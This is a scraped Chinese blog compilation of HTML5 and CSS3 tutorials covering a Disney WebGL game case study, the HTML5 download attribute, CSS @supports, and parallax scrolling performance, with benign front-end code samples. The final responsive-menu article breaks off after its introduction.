如何开发优秀的HTML5游戏?-迪斯尼《寻找奥兹之路》游戏技术详解(一)

最后更新于:2022-04-01 19:45:09

      **前言**       迪斯尼《[Find Your Way to OZ](http://www.findyourwaytooz.com/)》这个贴近地气的游戏我在最新一期《程序员》杂志的《从HTML5移动应用现状谈发展趋势》这篇文章里有所提及,它借用了近期上映的《[魔境仙踪](http://movie.douban.com/subject/4816602/)》电影的设定(设定来自于经典故事《绿野仙踪》,看过这个电影的同学们会深有感触),构建了一个等同的宏大游戏世界。同时迪斯尼又和谷歌合作,把它作为Chrome浏览器性能和HTML5技术的一个show case。对于这样一个使用了WebGL 3D、摄像头、3D音效等多种先进技术、支持桌面和移动端、品质出色的HTML5游戏,了解它背后的实现原理和技巧必然对于我们来说有着非常巨大的参考意义。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5916b11.jpg)       这篇文章我早就想翻译出来,帮助大家更好的了解HTML5在游戏开发里的应用和国外的应用情况,但是这篇文章实在太长,所以只能分次刊载,以飨读者。       此教程在我近期HTML5介绍的文章中难度可称高级,适合有一定经验的开发者阅读和学习。       **介绍**       “寻找奥兹之路”是迪斯尼为谷歌Chrome带来的全新体验。它让你在互动的旅程中穿越堪萨斯马戏团,然后通过一个巨大的风暴到达奥兹王国。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa592ff03.jpg)       我们的目标是结合浏览器的技术能力,以创建一种充满乐趣、身临其境的体验,用户可以与电影之间形成一个强大的联系。       这个游戏的工作实在是太庞大,所以我们只能列出一些章节,把我们认为有趣的技术故事写出来。教程的难度随着进度会逐渐增加。       我们有很多人努力工作来创建更好的体验,但是太多无法一一列举。请访问[该网站](http://findyourwaytooz.com/),体验整个页面下的完整故事。       **预览**       在PC端《寻找奥兹之路》是一个丰富的身临其境的世界。我们把3D和传统的电影制作灵感结合起来,创造一个好几层的接近现实的场景效果。其中最突出的技术是用Three.js引入WebGL,使用CSS3特性来定制着色器和DOM动画元素。除此之外,getUserMedia API(WebRTC)增强了互动体验,允许用户直接从摄像头添加自己的形象,以及WebAudio带来了3D音效。       但是这种技术体验的神奇之处在于它们是如何融合为一体的。这也是面临的主要挑战之一:如何把视觉效果和互动元素融合在一起来创建一个一致的场景?这种视觉的复杂性非常难以管理:很难说清楚我们在任何一个时间需要开发什么场景。       为了解决视觉效果和优化这一问题,我们大量使用了一个控制面板,用于捕获我们正在检查的那个时间点的所有相关设置。在浏览器中可以实时修正场景中的一切,例如亮度,纵向深度,伽玛线等等。任何人都可以在体验中尝试调整重要参数的值,参与并发现什么效果最好。       在分享我们的秘密之前,我要提醒你,它可能会导致崩溃。确保你没有正在浏览什么重要的东西,并且在访问该网站的网址时添加[?debug=on](http://findyourwaytooz.com/?debug=on)。等待网站加载,一旦你进入后按Ctrl+I键,会看到右手边出现一个下拉菜单。如果取消选中“退出相机路径”选项,你可以使用A、W、S、D键和鼠标在空间中自由的移动。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5949c82.jpg)       我们不会详述这里的所有设置,但是我们鼓励你试验:按键显示不同的场景中不同的设置。在最后的风暴场景中有一组额外的按键:Ctrl+A,可以切换播放的动画。在这个场景中,如果你按Esc(退出鼠标锁定功能),再次按下Ctrl+I键可以进入风暴场景的特殊设置。看看四周,并且截取一些像下面这样的漂亮明信片。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa595f97d.jpg)       要做到这一点以确保其对我们的需求具有足够的灵活性,我们采用了一个很棒的名为dat.gui的框架(可以在[这里](http://workshop.chromeexperiments.com/examples/gui/#1--Basic-Usage)看看过去关于如何使用它的教程)。它允许我们能够迅速改变暴露给游客的设置。       **有点像绘景**       许多经典的迪士尼电影和动画创建场景意味着合并不同的层。有外景层、单元动画层,以及物理设置层和通过玻璃绘画获得的顶层:这种技术称为[绘景](http://baike.baidu.com/view/2114328.htm)。       在许多方面我们创造的体验的结构是相似的,即使有些“层”远远超过了静态的视觉效果。事实上,它们根据更为复杂的计算影响事物看起来的方式。然而,至少在大画面的水平,我们处理视图,将一个合成到另外一个之上合。在顶部,你看到一个UI层,其下是3D场景:它由不同的场景组件组成。       顶部接口层使用DOM和CSS 3创建。事件通信使用Backbone路由器+ onHashChange HTML5事件来控制哪块区域响应动画。(项目源代码:/develop/coffee/router/Router.coffee)。       **教程:Sprite表和视网膜支持**       我们依赖一种有趣的优化技术,把多个接口层图像合并为一张单独的PNG来减少服务器请求。在这个项目中,接口由多于70 张的图像组成(不包括3D纹理),并且全部预加载以减少网站延​​迟。你可以在这里看到最新的[Sprite表](http://en.wikipedia.org/wiki/Sprite_(computer_graphics)):       正常显示 - [http://findyourwaytooz.com/img/home/interface_1x.png](http://findyourwaytooz.com/img/home/interface_1x.png)       Retina显示屏 - [http://findyourwaytooz.com/img/home/interface_2x.png](http://findyourwaytooz.com/img/home/interface_2x.png)       下面是我们如何发挥Sprite表优势的一些技巧,在视网膜设备上如何使用它们,以及如何将接口尽可能设置的简洁而整齐。       创建Sprite表       我们使用[TexturePacker](http://www.codeandweb.com/texturepacker)来创建任何你需要的Sprite表格式。在这种情况下,我们采用[EaselJS](http://www.createjs.com/#!/EaselJS),它非常整洁,并且可以用于创建动画Sprite。       使用生成的Sprite表       一旦创建了Sprite表,你应该看到这样的一个JSON文件: ~~~ { "images": ["interface_2x.png"], "frames": [ [2, 1837, 88, 130], [2, 2, 1472, 112], [1008, 774, 70, 68], [562, 1960, 86, 86], [473, 1960, 86, 86] ], "animations": { "allow_web":[0], "bottomheader":[1], "button_close":[2], "button_facebook":[3], "button_google":[4] }, } ~~~       其中: -         images指向sprite表的地址 -         frames是每个UI元素的坐标[x, y, width, height] -         animations 是每项内容的名称       请注意,我们已经使用了高清图像来创建Sprite表,然后我们只需通过调整图像尺寸为一半来创建正常版本。       融合一切       现在,我们只需要一段Javascript代码来使用它。 ~~~ var SSAsset = function (asset, div) { var css, x, y, w, h; // Divide the coordinates by 2 as retina devices have 2x density x = Math.round(asset.x / 2); y = Math.round(asset.y / 2); w = Math.round(asset.width / 2); h = Math.round(asset.height / 2); // Create an Object to store CSS attributes css = { width : w, height : h, 'background-image' : "url(" + asset.image_1x_url + ")", 'background-size' : "" + asset.fullSize[0] + "px " + asset.fullSize[1] + "px", 'background-position': "-" + x + "px -" + y + "px" }; // If retina devices if (window.devicePixelRatio === 2) { /* set -webkit-image-set for 1x and 2x All the calculations of X, Y, WIDTH and HEIGHT is taken care by the browser */ css['background-image'] = "-webkit-image-set(url(" + asset.image_1x_url + ") 1x,"; css['background-image'] += "url(" + asset.image_2x_url + ") 2x)"; } // Set the CSS to the DIV div.css(css); }; ~~~       这是你如何使用它的代码: ~~~ logo = new SSAsset( { fullSize : [1024, 1024], // image 1x dimensions Array [x,y] x : 1790, // asset x coordinate on SpriteSheet y : 603, // asset y coordinate on SpriteSheet width : 122, // asset width height : 150, // asset height image_1x_url : 'img/spritesheet_1x.png', // background image 1x URL image_2x_url : 'img/spritesheet_2x.png' // background image 2x URL },$('#logo')); ~~~       [在这里下载完整的示例](http://www.html5rocks.com/static/demos/oz/assets/ss_example.zip)       如果要多了解一些可变像素密度,你可以看看Boris SMUS的[这篇文章](http://www.html5rocks.com/en/mobile/high-dpi/)。       **3D内容管道**       环境体验建立在WebGL层之上。当你想到一个3D场景,最棘手的问题之一是要如何确保你从建模,动画和特效这些领域都可以创建最富有表现潜力的内容。从许多方面来说,这个问题的核心是内容管道:用一个定好的程序从3D场景来创建内容。       我们想创造一个令人振奋的世界,所以需要一个可靠的进程帮助3D艺术家来创建它。他们将需要给予他们的三维建模和动画软件尽可能多的表达自由,而我们将需要通过代码将它们呈现在屏幕上。       我们在这类问题上已经工作了一段时间,因为过去每次我们创建了一个3D网站,所以发现之前使用工具的一些限制。后来我们创造了这个被称为3D Librarian的工具,正准备要把它应用到真正的工作上。       这个工具有一些历史:它最初是为了Flash诞生的,它会允许你把一个大的Maya场景作为一个单一的压缩文件为拆包运行时进行优化。这是最优的原因是因为它有效的把场景包装为基本相同的数据结构,在渲染和动画时进行操作。这样在文件加载时只需要做很少的解析。Flash中的解包速度非常快,因为文件是AMF格式,Flash能够原生​​解压。在WebGL中使用相同的格式,需要CPU多做一些工作。事实上,我们不得不重新创建一个解压数据JavaScript代码层,这基本上会将这些文件解压,并重新创建WebGL所需的数据结构。解压整个3D场景是对CPU有一些负担:解包游戏的场景1在中高端机上需要约2秒钟。所以为此我们在“场景设置”时间(实际上是场景出现之前)用Web Workers技术来实现,所以不会影响用户的体验。       这个方便的工具可以导入3D场景:模型、纹理和骨骼动画。你可以创建一个单一的库文件,它稍后能被3D引擎所载入。       不过我们曾经遇到一个问题,现在用WebGL来处理。因此,我们创建了一个特定的JavaScript层,使用3D库来压缩3D场景文件,并把它们翻译成正确的WebGL能理解的格式。       **教程:要有风**       在“寻找奥兹之路”中一个反复出现的主题就是风。剧情的主线由弱到强的风所串起。       狂欢节的第一个场景相对平静。经历各种场景,用户逐渐体验强风,最后来到最终的场景,风暴中。       因此,重要的是提供一个身临其境的风的效果。       为了实现这种效果,我们在3个狂欢节的场景中填充比较软的对象,例如帐篷和气球。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa597386a.jpg)       (待续)       译自:[http://www.html5rocks.com/en/tutorials/casestudies/oz/](http://www.html5rocks.com/en/tutorials/casestudies/oz/)       转载请注明:来自蒋宇捷的博客(http://blog.csdn.net/hfahe)
';

HTML5下载属性简介

最后更新于:2022-04-01 19:45:07

      一直以来,人们习惯在网页上下载文件的方式是用右键的“另存为”命令。因为1、人们往往不清楚直接点击是打开文件还是下载,2、直接打开文件会遇到几个问题:1)打开大文件例如pdf时较慢;2)大文件例如图像或者pdf的渲染容易造成浏览器崩溃;3)打开文件有可能展示文件内容,例如bt种子,而其实这和我们的目的完全南辕北辙。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa58de76d.jpg) 在网页中打开种子文件和我们的目的完全相反       但是这种方式非常麻烦,很不直观,偏离了用户最便捷和最初的认知。我们可以想象一下向一位年纪较大的用户教育用这种方式来下载文件的场景,非常麻烦。而且很多用户不习惯和害怕使用鼠标右键。       现在HTML5增加了download下载属性来改变这件事。它可以这样使用: ~~~ Downloadfile ~~~       通过这个属性浏览器会让此文件通过下载方式处理。也可以给属性一个值做为下载文件名,形如: ~~~ download="filename" ~~~       目前此属性已经在Chrome 14+和Firefox 20+以上浏览器得到支持,你可以采用如下的方式测试浏览器是否支持下载属性: ~~~ if('download'in document.createElement('a')) //supported ~~~       要特别说明的是,在Firefox中必须要为文件指定文件类型,而Chrome则不需要。例如Firefox必须要设定download="filename.txt"。       IE9之前版本的IE浏览器可以采用条件注释作为降级的方式处理。 ~~~ ~~~       当然,我们也可以通过在服务器端配置的方式来强迫文件下载,但是这种方式比起网页端HTML5的解决方案更复杂,也没有这么灵活。
';

漫谈@supports与CSS3条件规则

最后更新于:2022-04-01 19:45:05

       好吧,好久没有聊CSS3了,今天我们来讲讲CSS3的最新特性。        在Chrome最新的动态里,添加了对CSS.supports()方法的支持,而许多关注浏览器发展的朋友也可能已经了解到Firefox和Opera开始支持@supports规则。CSS.supports()和@supports看起来非常相似,它们之间有什么关联,它们的前世今生究竟是怎么一回事呢?        为了应付浏览器分裂的CSS3支持情况、支持渐进增强式设计,我们之前经常采用[Modernizr](http://modernizr.com/)这个库来判断浏览器对于HTML5、CSS3的支持情况,以便有针对性的设计网站界面和功能。        也许很快我们不再需要[Modernizr](http://modernizr.com/),因为浏览器本身将会告诉我们这些信息。        **@supports的源起**        @supports其实来源于W3C的这份工作草案:《[CSS Conditional Rules Module Level 3](http://www.w3.org/TR/css3-conditional/#at-supports)》,即CSS的条件规则模块:允许我们在不同条件下来定义CSS样式。众所周知,CSS2.1支持@media条件规则,可以根据不同的媒介来加载不同的样式表,这个功能虽然出发点很好,但是使用起来并不方便,因为开发者需要写多个样式表来对应不同的媒介,非常麻烦。这份新的规范扩展了@media规则,允许在一个CSS样式文件里根据不同的媒介来定义样式。同时此规范增加了另外一个群众呼声很高的条件规则,即@supports。在浏览器CSS新特性越来越常见、更新越来越迅速,网站功能越来越前卫的今天,它允许我们可以根据浏览器对CSS特性的支持情况来定义不同的样式。这对我们来说非常重要。        W3C网站上的官方代码示例如下: ~~~ @supports ( display: flexbox ) { body, #navigation, #content { display: flexbox; } #navigation { background: blue; color: white; } #article { background: white; color: black; } } ~~~        上面的规则表示,当浏览器支持弹性盒子布局时,括号里的所有样式将会生效。而且@supports还支持简单的逻辑操作符,例如“not”,“and”、“or”等。例如,一个可能的规则如下(请注意我们是如何来为各浏览器提供兼容的): ~~~ @supports ( box-shadow: 2px 2px 2px black ) or ( -moz-box-shadow: 2px 2px 2px black ) or ( -webkit-box-shadow: 2px 2px 2px black ) or ( -o-box-shadow: 2px 2px 2px black ) { .outline { color: white; -moz-box-shadow: 2px 2px 2px black; -webkit-box-shadow: 2px 2px 2px black; -o-box-shadow: 2px 2px 2px black; box-shadow: 2px 2px 2px black; /* unprefixed last */ } } ~~~        这篇规范里还提到了一个DOM API,即CSS.supports(),它是作为@supports的另一种形式出现的,供JavaScript调用来获得CSS属性的支持情况。顺便提一句,window.CSS这个命名空间将会包含多个CSS相关的常用方法(可以想想作为开发者来说,你需要哪些方法?)。        它的定义如下,我们可以传入CSS属性的key和value或者一串字符来得到结果。 ~~~ interface CSS { static boolean supports(DOMString property, DOMString value); static boolean supports(DOMString conditionText); } ~~~        **浏览器支持情况**        规范总是要落地的,我们来看看浏览器的支持情况。        Chrome已经在2月份最新的27版本里提供了对CSS.supports()的支持,详见[这里](https://bugs.webkit.org/show_bug.cgi?id=100324)。        Firefox在去年8月份[支持了@supports](http://mcc.id.au/blog/2012/08/supports),在12月份[支持了CSS.supports](http://mcc.id.au/blog/2012/12/css-supports-api%20CSS.support)()。对照W3C标准,在Firefox的示例里,CSS.supports()的调用方式有如下两种: ~~~ // 方法1 if (CSS.supports("display", "flex")) { // do something relying on flexbox } // 方法2 if (CSS.supports("(display: flex) and (display: grid)")) { // do something relying on flexbox and grid layout } ~~~        而Opera在去年11月就[添加了对@supports的支持](http://dev.opera.com/articles/view/native-css-feature-detection-via-the-supports-rule/),顺带还提供了一个3D Transform的渐进增强式演示供大家体验。[这里](http://dev.opera.com/static/articles/2012/supports/example-with-supports/two-faced-cheek-supports.html)是使用@supports的方案,而[这里](http://dev.opera.com/static/articles/2012/supports/example-with-modernizr/two-faced-cheek-modernizr.html)是使用[Modernizr](http://modernizr.com/)的方案,感兴趣的朋友可以尝试对比一下。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa58c6dcd.jpg) Opera提供的@supports演示        主流浏览器已经或者正在支持@supports,这对我们来说是好消息。        **使用@supports的好处**        我们为什么要用@supports,它比起[Modernizr](http://modernizr.com/)来说有什么优势呢?**        1、 速度        @supports采用浏览器本地方法实现、速度更快、效率更高。        2、效率        避免引入JavaScript库,让开发更简单快捷;另外因为不需要加载JavaScript库,能减少HTTP请求量和服务器流量。        3、 功能        @supports支持多种逻辑操作符,可以很好的满足各种需求。        **方案的选择**        那我们该何时使用[Modernizr](http://modernizr.com/)呢?        1、 浏览器不支持CSS.supports()和@supports时;        2、 需要用它来判断HTML5的支持情况时(其实你也可以自己手写这部分代码)。        **@suppprts in Action**        实际上,[Modernizr](http://modernizr.com/)自身也在计划未来使用@supports来[替代自身的检测方法](http://www.broken-links.com/2012/08/06/firefox-supports-supports-gets-my-support/#comment-72122)。        所以,现在你就应该立即使用@supports,正确的步骤是先检测是否支持CSS.supports()和@supports,如果不支持,再加载[Modernizr](http://modernizr.com/),这样你的网站从始至终会有一个很好的兼容性。下面是实现代码: ~~~ if ( !(window.supportsCSS || (window.CSS && window.CSS.supports) )) load_modernizr(); ~~~        我预计@supports将会在网站中得到广泛的使用,@supports in Action now!        原创文章,转载请注明来自[蒋宇捷的博客](http://blog.csdn.net/hfahe)(http://blog.csdn.net/hfahe)        参考文章:        《[CSS Conditional Rules Module Level 3](http://www.w3.org/TR/css3-conditional/#at-supports)》        《[why use supports instead of modernizr](http://my.opera.com/ODIN/blog/why-use-supports-instead-of-modernizr)》        《[Use Tomorrow's Web Standards Today WithCSS '@Supports'](http://www.webmonkey.com/2012/11/use-tomorrows-web-standards-today-with-css-supports/)》
';

用HTML5构建高性能视差网站

最后更新于:2022-04-01 19:45:02

      本文介绍了一种时尚的网站设计方法,以及如何由浅入深的通过HTML5和浏览器渲染机制来构建高性能的站点。       文中多处涉及浏览器重绘和性能优化的原理,也是《[Web滚动性能优化实战](http://blog.csdn.net/hfahe/article/details/8539579)》的拓展和延续,难度上属于中级进阶,请在阅读前请先看看这篇文章。       **介绍**       视差网站最近风靡一时,只需看看下面这些站点: -         [Old Pulteney Row to the Pole](http://www.rowtothepole.com/) -         [Adidas Snowboarding](http://www.adidas.com/com/apps/snowboarding/) -         [BBC News - James Bond: Cars, catchphrases and kisses](http://www.bbc.co.uk/news/entertainment-arts-20026367)       如果你还不了解它们,它们其实就是页面的视觉结构随滚动变化的站点。正常情况下,页面上的元素按比例缩放、旋转或者移动到滚动的位置。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa587fe96.jpg) 我们视差效果的演示页面       你喜不喜欢视差网站是一回事,但是我们能确定的是这绝对是一个性能黑洞。原因是当你滚动时,浏览器会试图对新内容出现的地方(根据滚动的方向)进行性能优化,总的来讲,在滚动中视觉上越少更新浏览器性能越好。对于视差网站来说这很少见,因为在整个页面上大的视觉元素会多次发生改变,从而导致浏览器必须对整个页面进行重绘(为什么是性能黑洞,可以参考我的这篇文章《[Web滚动性能优化实战](http://blog.csdn.net/hfahe/article/details/8539579)》)。       把视差网站归纳为下面的特性是合理的:       1、  当你向上或者向下滚动页面时,背景元素改变位置、旋转或者缩放。       2、  页面内容,例如文本或者小图片,以特别的从上到下的方式滚动。       我们之前介绍过[滚动性能](http://blog.csdn.net/hfahe/article/details/8539579)及其优化方式,你可以以此来改进应用的响应能力。本文将建立在此基础上,所以你需要先读一下上面这篇文章。       所以现在的问题是,如果你正在构建一个视差滚动网站,是必须要进行代价昂贵的重绘,还是有其它方法可以采用来最大限度的提高性能?让我们来看看可供选择的方法。       **方法1:使用DOM元素和绝对定位**       这可能是大多数人选择的方式。页面里有许多元素,当滚动事件触发时,许多视觉上的更新会发生在这些元素上。这里我展示了一个[演示页面](http://www.html5rocks.com/static/demos/parallax/demo-1a/demo.html)。       如果你开启了开发者工具时间轴的frame模式,并且上下滚动,你会注意到有代价昂贵的全屏绘制操作。如果你滚动多次,你也许可以在一个单独的帧里看到多个滚动事件,每一个都会触发布局工作。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa58956a6.jpg) 开发者工具展示了一帧里有大量的绘制操作和多个由事件触发的布局       重要的是要牢记,为了达到60fps(与典型的显示器刷新率60Hz相匹配),我们必须要在差不多16ms内完成所有事情。在这第一个版本中,我们每当得到一个滚动事件,我们就要执行一次视觉更新,但是正如我们在前面的文章-《[用requestAnimationFrame实现更简单动画](http://www.html5rocks.com/en/tutorials/speed/animations/)》和《[Web滚动性能优化实战](http://www.html5rocks.com/en/tutorials/speed/scrolling/)》里讨论到的一样,这与浏览器的更新节奏并不一致。所以我们要么错过帧,要么在一帧里完成太多的工作。这会让你的站点很容易看起来不舒服和不自然,导致用户感觉失望。       让我们把视觉更新的代码从滚动事件中移到requestAnimationFrame回调里,并且在滚动事件的回调里简单的获取滚动的值。我们在[第二个演示](http://www.html5rocks.com/static/demos/parallax/demo-1b/demo.html)中展示了这个变化。       如果你重复滚动测试,你可能会注意到有轻微的改善,虽然并不多。原因是由滚动触发的布局操作代价昂贵,而现在我们只在每帧中执行一次布局操作。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa58aaa64.jpg) 开发者工具展示了一帧里有大量的绘制操作和多个由事件触发的布局       我们现在在每帧里可以处理一个或者上百个滚动事件,但最重要的是,我们仅仅存储最近的一个滚动值,供requestAnimationFrame回调触发时使用,并执行视觉上的更新。关键是我们已经从每次接收到滚动事件时进行视觉更新优化为在浏览器给我们的合适时机进行处理。你是不是觉得这相当给力?       这个方法的主要问题是,无论使用requestAnimationFrame与否,我们基本上都会生成整个页面的层,在移动这些视觉元素时需要大量和代价昂贵的重绘。通常重绘会是一个阻塞操作(虽然这点将会[优化](http://www.chromium.org/developers/design-documents/impl-side-painting)),这意味着浏览器不能同时进行其它工作,而我们经常有可能超过浏览器16ms的帧的处理时限,这代表会出现性能上卡顿的情况。       **方法2:使用DOM元素和3D转换**       除了绝对定位之外,另外一种我们可以采用的方法就是3D转换(transform)。在这种情况下我们可以看到每个用3D转换处理的元素都会产生新的层。相比之下,在方法1中,如果有任何变化时,我们必须要重绘页面上一大部分的层。       这意味着使用此方法情况会大为不同:我们可能对应用了3D转换的任何元素都会有一个层。如果通过更多元素的转换做到这一点,我们不需要重绘任何层,GPU能够处理移动元素和合成整个页面。也许你想知道为什么用3D转换替代3D,原因是2D转换不能保证得到一个新的层,而3D转换可以。       这是另一个使用了3D转换的[演示](http://www.html5rocks.com/static/demos/parallax/demo-2/demo.html)。滚动时你可以看到性能已经大有改观。       很多时候人们使用-webkit-transform:translateZ(0)这个技巧,能够看到有奇妙的性能改善(宇捷注:关于这种方式,其实就是利用3D转换来开启浏览器硬件加速,属于一种Hack。国内很少有资料提及,而国外有很多移动App开发性能优化的文章提到。国内可以看看《[改善HTML5网页性能](http://www.doc88.com/p-307127263294.html)》,国外可以看看《[IncreasingPerformance of HTML and JavaScript on Mobile Devices](http://the.ichibod.com/kiji/increasing-performance-of-html-and-javascript-on-mobile-devices-especially-ios/)》)。这种方式现在可以正常工作,但是会带来一些问题:       1、  它并不是浏览器兼容的;       2、  它强迫浏览器为每一个转换的元素创建新的层。大量的层会带来其它性能瓶颈,所以需要有节制的使用。       3、  它在某些[Webkit版本的移植](http://developer.apple.com/library/ios/#releasenotes/General/RN-iOSSDK-6_0/_index.html)上被禁用。       所以,你如果采用这种方法需要非常谨慎,这对解决问题来说是一个临时方案。在完美的情况下我们甚至都不会考虑它,而且浏览器每天都在改进中,谁知道也许哪天我们就不需要它了。       **方法3:使用固定定位(Fixed Position)的Canvas或者WebGL**       我们最后要考虑的方法就是在页面上采用固定定位的Canvas,而把转换的图像绘制在上面。乍看之下,这可能不是最高效的解决方案,但是它有几个好处: -         我们不再需要大量合成工作,因为页面只有一个元素 - Canvas; -         我们可以高效的通过硬件加速处理一个单独的bitmap; -         Canvas2D API非常适合我们要执行的转换类型,这意味着开发和维护更容易管理。       使用Canvas元素为我们提供了一个新的层,但是它只有一层,而在方法2中我们为每一个应用3D转换的元素都创建了一个新层,所以有额外的工作量来把这些层合成在一起。       如果你看看这种方法的[演示](http://www.html5rocks.com/static/demos/parallax/demo-3/demo.html),并且在开发者工具中观察,你会发现它的性能更加优异。在这个方法里,我们只需在Canvas上调用drawImage API、设置背景图像,以及每一个要在屏幕上正确位置绘制的色块。 ~~~ /** * Updates and draws in the underlying visual elements to the canvas. */ function updateElements () { var relativeY = lastScrollY / h; // Fill the canvas up context.fillStyle = "#1e2124"; context.fillRect(0, 0, canvas.width, canvas.height); // Draw the background context.drawImage(bg, 0, pos(0, -3600, relativeY, 0)); // Draw each of the blobs in turn context.drawImage(blob1, 484, pos(254, -4400, relativeY, 0)); context.drawImage(blob2, 84, pos(954, -5400, relativeY, 0)); context.drawImage(blob3, 584, pos(1054, -3900, relativeY, 0)); context.drawImage(blob4, 44, pos(1400, -6900, relativeY, 0)); context.drawImage(blob5, -40, pos(1730, -5900, relativeY, 0)); context.drawImage(blob6, 325, pos(2860, -7900, relativeY, 0)); context.drawImage(blob7, 725, pos(2550, -4900, relativeY, 0)); context.drawImage(blob8, 570, pos(2300, -3700, relativeY, 0)); context.drawImage(blob9, 640, pos(3700, -9000, relativeY, 0)); // Allow another rAF call to be scheduled ticking = false; } /** * Calculates a relative disposition given the page’s scroll * range normalized from 0 to 1 * @param {number} base The starting value. * @param {number} range The amount of pixels it can move. * @param {number} relY The normalized scroll value. * @param {number} offset A base normalized value from which to start the scroll behavior. * @returns {number} The updated position value. */ function pos(base, range, relY, offset) { return base + limit(0, 1, relY - offset) * range; } /** * Clamps a number to a range. * @param {number} min The minimum value. * @param {number} max The maximum value. * @param {number} value The value to limit. * @returns {number} The clamped value. */ function limit(min, max, value) { return Math.max(min, Math.min(max, value)); } ~~~       这种做法真的在处理大图片(或者其它很容易写到一个Canvas上的元素)或者大块的文本时肯定根据挑战性。但是在你的网站上,它可能被证明会是最合适的解决方案。如果你不得不在Canvas上处理文本,你也许要使用fillText API,但是它有访问成本(你刚刚才把文本转换为bitmap!)而且你需要处理文本换行以及其它问题。你需要尽量避免这么做。       讨论了这么多,我们没有理由假设视差的工作就一定要用Canvas元素。如果浏览器支持,我们可以使用WebGL。这里面的关键是WebGL是所有API到显卡最直接的方式,并且在你的站点效果很复杂的情况下性能是最有可能达到60fps的。       你最直接的反应可能是觉得采用WebGL矫枉过正,或者它并没有获得广泛支持,但是如果你如果使用了类似于[Three.js](https://github.com/mrdoob/three.js/)的库,你可以随时回退为使用Canvas元素,同时你的代码能以一种一致和友好的方式进行抽象。我们需要做的只是用[Modernizr](http://modernizr.com/)来检测相应API的支持: ~~~ // check for WebGL support, otherwise switch to canvas if (Modernizr.webgl) { renderer = new THREE.WebGLRenderer(); } else if (Modernizr.canvas) { renderer = new THREE.CanvasRenderer(); } ~~~       然后使用Three.js的API,而不是自己处理上下文。这里有一个支持两种渲染方式的[演示](http://www.html5rocks.com/static/demos/parallax/demo-4/demo.html)。       这种方法的最后一个问题是,如果你并不特别爱好在页面上添加额外的元素,你可以总是在Firefox和Webkit浏览器里[使用canvas作为背景元素](http://updates.html5rocks.com/2012/12/Canvas-driven-background-images)。很明显,这并不是普遍适用的,所以你应该对此持谨慎态度。       **逐步退化**       开发者默认采用绝对定位元素而不是其它方法的主要原因可能仅仅简单是浏览器支持的问题。这种方式在一定程度上是错误的,因为对于老旧的浏览器来说,只能提供非常贫乏的渲染体验。即便在现代浏览器中,使用绝对定位也不一定能带来好的性能。       更好的方案是在老旧的浏览器上避免尝试视差效果,仅在最好的浏览器上确保能够用正确的API呈现站点效果。当然,如果你使用了[Three.js](https://github.com/mrdoob/three.js/),你应该能够很容易根据所需要的支持在渲染器之间进行切换。       **结论**       我们评估了几种方式来处理大量重绘的区域,从绝对定位的元素到使用固定定位的Canvas。当然你要采用的实现方式,取决于你要达到的目标和具体设计,但是知道有多种选择是一件好事情。在本文的例子中,我们设法从相对卡顿、低于30fps优化到了平滑、60fps的效果。       与往常一样,无论尝试哪种方法,不要凭借猜测,而应该亲自动手去尝试。       像往常一样,转载请注明:来自蒋宇捷的博客(http://blog.csdn.net/hfahe)       译自:[http://www.html5rocks.com/en/tutorials/speed/parallax/](http://www.html5rocks.com/en/tutorials/speed/parallax/)       相关文章:《[Web滚动性能优化实战](http://blog.csdn.net/hfahe/article/details/8539579)》
';

用CSS3设计响应式导航菜单

最后更新于:2022-04-01 19:45:00

       春节将至,先祝大家新年快乐。我在这段时间内将会抽出时间由浅入深的发表几篇CSS3、HTML5最新的技术文章,涉及原理、实现、应用的几个层面,代表了国外HTML5最新发展的趋势,希望能给大家带来新的启迪。         下面的这篇文章非常简单,是响应式设计的一个具体实现。我希望能带给刚入门的朋友一些思路和帮助。         ……………………………………✄……………………………………         关于使用响应式设计来创建一个手机导航栏,之前我曾经写过一个[教程](http://webdesignerwall.com/tutorials/mobile-navigation-design-tutorial)。现在我发现了一种新的方式,可以不使用JavaScript来实现响应式菜单。它完全使用整洁和语义化的HTML5标记,而且菜单可以居左、居中和居右对齐。不像前面一个教程中需要点击来展开,这个菜单可以在hover时展开,对用户更为友好。它也包含一个指示器来显示当前激活的菜单项。这种方式可以工作于所有的移动和桌面浏览器中,甚至包括IE。 [**![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa583578a.jpg) 演示**](http://webdesignerwall.com/demo/responsive-menu/)         **目标**        这个教程的目标是向你展示如何把一个传统的列表菜单在更小的屏幕上转换为可伸展的菜单。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa584d735.jpg) [](http://webdesignerwall.com/demo/responsive-menu/)        这种方式对于下图这种有很多链接的导航来说非常有用。你可以把所有的按钮转换为一个优雅的伸展条。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5864902.jpg)        **HTML代码**        下面是导航的HTML代码。

Web滚动性能优化实战

最后更新于:2022-04-01 19:44:58

